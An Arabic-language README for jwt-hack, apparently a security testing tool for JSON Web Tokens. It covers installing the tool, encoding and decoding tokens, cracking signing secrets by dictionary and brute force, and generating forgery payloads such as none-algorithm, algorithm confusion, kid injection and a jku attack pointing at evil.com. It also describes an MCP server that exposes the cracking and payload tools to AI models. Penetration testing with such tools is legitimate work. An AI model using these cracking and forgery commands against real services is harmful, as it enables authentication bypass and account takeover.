
JSON Web Token Hack Toolkit
مجموعة أدوات اختراق JSON Web Token
مجموعة أدوات عالية الأداء لاختبار وتحليل ومهاجمة JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
choco install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
| الوضع | الوصف | الدعم |
|---|---|---|
| Encode | مُرمِّز JWT/JWE | قائم على السر / قائم على المفتاح / الخوارزمية / ترويسة مخصصة / ضغط DEFLATE / JWE |
| Decode | مُفكِّك ترميز JWT/JWE | الخوارزمية، فحص وقت الإصدار، ضغط DEFLATE، بنية JWE |
| Verify | مُتحقِّق JWT | قائم على السر / قائم على المفتاح (للخوارزميات غير المتماثلة) |
| Crack | كاسر السر | هجوم القاموس / القوة الغاشمة / ضغط DEFLATE |
| Payload | مُولِّد حِمل هجوم JWT | none / jku&x5u / alg_confusion (موقَّع عبر --public-key) / حقن kid والمطالبات / التلاعب بالمطالبات / قابلية تزوير التوقيع / فحوصات JWE / x5c / cty |
| Scan | ماسح الثغرات | فحوصات أمنية آلية لثغرات JWT الشائعة |
| Server | خادم API | تشغيل وضع خادم API (http://localhost:3000) |
| MCP | خادم بروتوكول سياق النموذج | تكامل نماذج الذكاء الاصطناعي عبر بروتوكول موحَّد |
يمكنك فك ترميز كل من JWTs العادية والمضغوطة بـ DEFLATE. ستكتشف الأداة الرموز المضغوطة وتفك ضغطها تلقائيًا.
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
فك ترميز رموز JWE (JSON Web Encryption) لتحليل بنيتها. تكتشف الأداة تلقائيًا تنسيق JWE (5 أجزاء) وتعرض تفاصيل التشفير.
# Decode JWE token structure
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# Shows JWE header, encrypted key, IV, ciphertext, and authentication tag
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
يمكنك استخدام خيار --compress لتطبيق ضغط DEFLATE على حِمل JWT.
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# With Private Key
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
أنشئ رموز JWE (JSON Web Encryption) لاختبار سيناريوهات JWT المشفَّرة.
# Basic JWE encoding
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# JWE tokens are encrypted and can only be decrypted with the proper key
jwt-hack encode '{"sensitive":"data"}' --jwe
يتحقق مما إذا كان توقيع JWT صالحًا باستخدام السر أو المفتاح المقدَّم.
# With Secret (HMAC algorithms like HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# With Private Key (for asymmetric algorithms like RS256, ES256, EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
تدعم هجمات القاموس والقوة الغاشمة أيضًا رموز JWT المضغوطة بـ DEFLATE.
# Dictionary attack
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# Bruteforce attack
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
افحص رموز JWT تلقائيًا بحثًا عن المشكلات والثغرات الأمنية الشائعة.
# Full scan including weak secret detection and payload generation
jwt-hack scan JWT_TOKEN
# Skip secret cracking for faster results
jwt-hack scan JWT_TOKEN --skip-crack
# Skip payload generation
jwt-hack scan JWT_TOKEN --skip-payloads
# Use custom wordlist for weak secret detection
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# Limit secret testing attempts
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
يتحقق أمر الفحص من:
ابدأ REST API محليًا للأتمتة والتكاملات. لطلب المصادقة، استخدم --api-key وأدرج X-API-KEY في الطلبات.
# Start on localhost:3000 with API key protection
jwt-hack server --api-key your-api-key
# Example request (must include X-API-KEY when --api-key is set)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
يمكن تشغيل jwt-hack كخادم MCP، مما يسمح لنماذج الذكاء الاصطناعي بالتفاعل مع وظائف JWT عبر بروتوكول موحَّد.
# Start MCP server (communicates via stdio)
jwt-hack mcp
يعرِّض خادم MCP الأدوات التالية:
| الأداة | الوصف | المعاملات |
|---|---|---|
decode | فك ترميز رموز JWT | token (string) |
encode | ترميز JSON إلى JWT | json (string), secret (optional), algorithm (default: HS256), no_signature (boolean) |
verify | التحقق من توقيعات JWT | token (string), secret (optional), validate_exp (boolean) |
crack | كسر رموز JWT | token (string), mode (dict/brute), chars (string), max (number) |
payload | توليد حِمول الهجوم | token (string), target (string), jwk_attack (optional), jwk_protocol (default: https), public_key (optional PEM/path for signed alg-confusion) |
خادم MCP مصمَّم للاستخدام من قِبَل نماذج الذكاء الاصطناعي وعملاء MCP. تقبل كل أداة معاملات JSON وتُرجع استجابات منظَّمة.
أداة فك الترميز:
{
"name": "decode",
"arguments": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
}
أداة الترميز:
{
"name": "encode",
"arguments": {
"json": "{\"sub\":\"1234\",\"name\":\"test\"}",
"secret": "mysecret",
"algorithm": "HS256"
}
}